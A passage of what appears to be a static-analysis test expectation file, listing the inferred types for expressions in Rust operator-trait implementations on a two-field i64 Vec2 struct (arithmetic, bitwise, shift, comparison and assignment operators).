SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1316:34:1316:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1317:13:1317:16 | self | | file://:0:0:0:0 | & | +| main.rs:1317:13:1317:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1317:13:1317:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1317:13:1317:27 | ... -= ... | | file://:0:0:0:0 | () | +| main.rs:1317:23:1317:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1317:23:1317:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1318:13:1318:16 | self | | file://:0:0:0:0 | & | +| main.rs:1318:13:1318:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1318:13:1318:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1318:13:1318:27 | ... -= ... | | file://:0:0:0:0 | () | +| main.rs:1318:23:1318:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1318:23:1318:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1324:16:1324:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1324:22:1324:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1324:41:1329:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1325:13:1328:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1326:20:1326:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1326:20:1326:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1326:20:1326:33 | ... * ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1326:29:1326:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1326:29:1326:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1327:20:1327:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1327:20:1327:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1327:20:1327:33 | ... * ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1327:29:1327:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1327:29:1327:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1333:23:1333:31 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1333:23:1333:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1333:34:1333:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1334:13:1334:16 | self | | file://:0:0:0:0 | & | +| main.rs:1334:13:1334:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1334:13:1334:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1334:13:1334:27 | ... *= ... | | file://:0:0:0:0 | () | +| main.rs:1334:23:1334:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1334:23:1334:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1335:13:1335:16 | self | | file://:0:0:0:0 | & | +| main.rs:1335:13:1335:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1335:13:1335:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1335:13:1335:27 | ... *= ... | | file://:0:0:0:0 | () | +| main.rs:1335:23:1335:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1335:23:1335:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1341:16:1341:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1341:22:1341:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1341:41:1346:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1342:13:1345:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1343:20:1343:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1343:20:1343:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1343:20:1343:33 | ... / ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1343:29:1343:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1343:29:1343:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1344:20:1344:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1344:20:1344:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1344:20:1344:33 | ... / ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1344:29:1344:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1344:29:1344:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1350:23:1350:31 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1350:23:1350:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1350:34:1350:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1351:13:1351:16 | self | | file://:0:0:0:0 | & | +| main.rs:1351:13:1351:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1351:13:1351:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1351:13:1351:27 | ... /= ... | | file://:0:0:0:0 | () | +| main.rs:1351:23:1351:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1351:23:1351:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1352:13:1352:16 | self | | file://:0:0:0:0 | & | +| main.rs:1352:13:1352:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1352:13:1352:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1352:13:1352:27 | ... /= ... | | file://:0:0:0:0 | () | +| main.rs:1352:23:1352:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1352:23:1352:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1358:16:1358:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1358:22:1358:24 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1358:41:1363:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1359:13:1362:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1360:20:1360:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1360:20:1360:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1360:20:1360:33 | ... % ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1360:29:1360:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1360:29:1360:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1361:20:1361:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1361:20:1361:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1361:20:1361:33 | ... % ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1361:29:1361:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1361:29:1361:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1367:23:1367:31 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1367:23:1367:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1367:34:1367:36 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1368:13:1368:16 | self | | file://:0:0:0:0 | & | +| main.rs:1368:13:1368:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1368:13:1368:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1368:13:1368:27 | ... %= ... | | file://:0:0:0:0 | () | +| main.rs:1368:23:1368:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1368:23:1368:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1369:13:1369:16 | self | | file://:0:0:0:0 | & | +| main.rs:1369:13:1369:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1369:13:1369:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1369:13:1369:27 | ... %= ... | | file://:0:0:0:0 | () | +| main.rs:1369:23:1369:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1369:23:1369:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1375:19:1375:22 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1375:25:1375:27 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1375:44:1380:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1376:13:1379:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1377:20:1377:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1377:20:1377:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1377:20:1377:33 | ... & ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1377:29:1377:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1377:29:1377:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1378:20:1378:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1378:20:1378:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1378:20:1378:33 | ... & ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1378:29:1378:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1378:29:1378:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1384:26:1384:34 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1384:26:1384:34 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1384:37:1384:39 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1385:13:1385:16 | self | | file://:0:0:0:0 | & | +| main.rs:1385:13:1385:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1385:13:1385:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1385:13:1385:27 | ... &= ... | | file://:0:0:0:0 | () | +| main.rs:1385:23:1385:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1385:23:1385:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1386:13:1386:16 | self | | file://:0:0:0:0 | & | +| main.rs:1386:13:1386:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1386:13:1386:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1386:13:1386:27 | ... &= ... | | file://:0:0:0:0 | () | +| main.rs:1386:23:1386:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1386:23:1386:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1392:18:1392:21 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1392:24:1392:26 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1392:43:1397:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1393:13:1396:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1394:20:1394:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1394:20:1394:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1394:20:1394:33 | ... \| ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1394:29:1394:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1394:29:1394:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1395:20:1395:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1395:20:1395:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1395:20:1395:33 | ... \| ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1395:29:1395:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1395:29:1395:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1401:25:1401:33 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1401:25:1401:33 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1401:36:1401:38 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1402:13:1402:16 | self | | file://:0:0:0:0 | & | +| main.rs:1402:13:1402:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1402:13:1402:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1402:13:1402:27 | ... \|= ... | | file://:0:0:0:0 | () | +| main.rs:1402:23:1402:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1402:23:1402:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1403:13:1403:16 | self | | file://:0:0:0:0 | & | +| main.rs:1403:13:1403:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1403:13:1403:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1403:13:1403:27 | ... \|= ... | | file://:0:0:0:0 | () | +| main.rs:1403:23:1403:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1403:23:1403:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1409:19:1409:22 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1409:25:1409:27 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1409:44:1414:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1410:13:1413:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1411:20:1411:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1411:20:1411:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1411:20:1411:33 | ... ^ ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1411:29:1411:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1411:29:1411:33 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1412:20:1412:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1412:20:1412:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1412:20:1412:33 | ... ^ ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1412:29:1412:31 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1412:29:1412:33 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1418:26:1418:34 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1418:26:1418:34 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1418:37:1418:39 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1419:13:1419:16 | self | | file://:0:0:0:0 | & | +| main.rs:1419:13:1419:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1419:13:1419:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1419:13:1419:27 | ... ^= ... | | file://:0:0:0:0 | () | +| main.rs:1419:23:1419:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1419:23:1419:27 | rhs.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1420:13:1420:16 | self | | file://:0:0:0:0 | & | +| main.rs:1420:13:1420:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1420:13:1420:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1420:13:1420:27 | ... ^= ... | | file://:0:0:0:0 | () | +| main.rs:1420:23:1420:25 | rhs | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1420:23:1420:27 | rhs.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1426:16:1426:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1426:22:1426:24 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1426:40:1431:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1427:13:1430:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1428:20:1428:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1428:20:1428:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1428:20:1428:32 | ... << ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1428:30:1428:32 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1429:20:1429:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1429:20:1429:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1429:20:1429:32 | ... << ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1429:30:1429:32 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1435:23:1435:31 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1435:23:1435:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1435:34:1435:36 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1436:13:1436:16 | self | | file://:0:0:0:0 | & | +| main.rs:1436:13:1436:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1436:13:1436:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1436:13:1436:26 | ... <<= ... | | file://:0:0:0:0 | () | +| main.rs:1436:24:1436:26 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1437:13:1437:16 | self | | file://:0:0:0:0 | & | +| main.rs:1437:13:1437:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1437:13:1437:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1437:13:1437:26 | ... <<= ... | | file://:0:0:0:0 | () | +| main.rs:1437:24:1437:26 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1443:16:1443:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1443:22:1443:24 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1443:40:1448:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1444:13:1447:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1445:20:1445:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1445:20:1445:25 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1445:20:1445:32 | ... >> ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1445:30:1445:32 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1446:20:1446:23 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1446:20:1446:25 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1446:20:1446:32 | ... >> ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1446:30:1446:32 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1452:23:1452:31 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1452:23:1452:31 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1452:34:1452:36 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1453:13:1453:16 | self | | file://:0:0:0:0 | & | +| main.rs:1453:13:1453:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1453:13:1453:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1453:13:1453:26 | ... >>= ... | | file://:0:0:0:0 | () | +| main.rs:1453:24:1453:26 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1454:13:1454:16 | self | | file://:0:0:0:0 | & | +| main.rs:1454:13:1454:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1454:13:1454:18 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1454:13:1454:26 | ... >>= ... | | file://:0:0:0:0 | () | +| main.rs:1454:24:1454:26 | rhs | | file:///BUILTINS/types.rs:17:1:17:15 | u32 | +| main.rs:1460:16:1460:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1460:30:1465:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1461:13:1464:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1462:20:1462:26 | - ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1462:21:1462:24 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1462:21:1462:26 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1463:20:1463:26 | - ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1463:21:1463:24 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1463:21:1463:26 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1470:16:1470:19 | SelfParam | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1470:30:1475:9 | { ... } | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1471:13:1474:13 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1472:20:1472:26 | ! ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1472:21:1472:24 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1472:21:1472:26 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1473:20:1473:26 | ! ... | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1473:21:1473:24 | self | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1473:21:1473:26 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1479:15:1479:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1479:15:1479:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1479:22:1479:26 | other | | file://:0:0:0:0 | & | +| main.rs:1479:22:1479:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1479:44:1481:9 | { ... } | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1480:13:1480:16 | self | | file://:0:0:0:0 | & | +| main.rs:1480:13:1480:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1480:13:1480:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1480:13:1480:29 | ... == ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1480:13:1480:50 | ... && ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1480:23:1480:27 | other | | file://:0:0:0:0 | & | +| main.rs:1480:23:1480:27 | other | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1480:23:1480:29 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1480:34:1480:37 | self | | file://:0:0:0:0 | & | +| main.rs:1480:34:1480:37 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1480:34:1480:39 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1480:34:1480:50 | ... == ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1480:44:1480:48 | other | | file://:0:0:0:0 | & | +| main.rs:1480:44:1480:48 | other | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1480:44:1480:50 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1483:15:1483:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1483:15:1483:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1483:22:1483:26 | other | | file://:0:0:0:0 | & | +| main.rs:1483:22:1483:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1483:44:1485:9 | { ... } | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1484:13:1484:16 | self | | file://:0:0:0:0 | & | +| main.rs:1484:13:1484:16 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1484:13:1484:18 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1484:13:1484:29 | ... != ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1484:13:1484:50 | ... \|\| ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1484:23:1484:27 | other | | file://:0:0:0:0 | & | +| main.rs:1484:23:1484:27 | other | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1484:23:1484:29 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1484:34:1484:37 | self | | file://:0:0:0:0 | & | +| main.rs:1484:34:1484:37 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1484:34:1484:39 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1484:34:1484:50 | ... != ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1484:44:1484:48 | other | | file://:0:0:0:0 | & | +| main.rs:1484:44:1484:48 | other | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1484:44:1484:50 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1489:24:1489:28 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1489:24:1489:28 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1489:31:1489:35 | other | | file://:0:0:0:0 | & | +| main.rs:1489:31:1489:35 | other | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1489:75:1491:9 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:565:1:581:1 | Option | +| main.rs:1489:75:1491:9 | { ... } | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/cmp.rs:367:1:397:1 | Ordering | +| main.rs:1490:13:1490:63 | ... .partial_cmp(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:565:1:581:1 | Option | +| main.rs:1490:13:1490:63 | ... .partial_cmp(...) | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/cmp.rs:367:1:397:1 | Ordering | +| main.rs:1490:14:1490:17 | self | | file://:0:0:0:0 | & | +| main.rs:1490:14:1490:17 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1490:14:1490:19 | self.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1490:23:1490:26 | self | | file://:0:0:0:0 | & | +| main.rs:1490:23:1490:26 | self | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1490:23:1490:28 | self.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1490:43:1490:62 | &... | | file://:0:0:0:0 | & | +| main.rs:1490:45:1490:49 | other | | file://:0:0:0:0 | & | +| main.rs:1490:45:1490:49 | other | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1490:45:1490:51 | other.x | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1490:55:1490:59 | other | | file://:0:0:0:0 | & | +| main.rs:1490:55:1490:59 | other | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1490:55:1490:61 | other.y | | file:///BUILTINS/types.rs:13:1:13:15 | i64 | +| main.rs:1493:15:1493:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1493:15:1493:19 | SelfParam | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1493:22:1493:26 | other | | file://:0:0:0:0 | & | +| main.rs:1493:22:1493:26 | other | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1493:44:1495:9 | { ... } 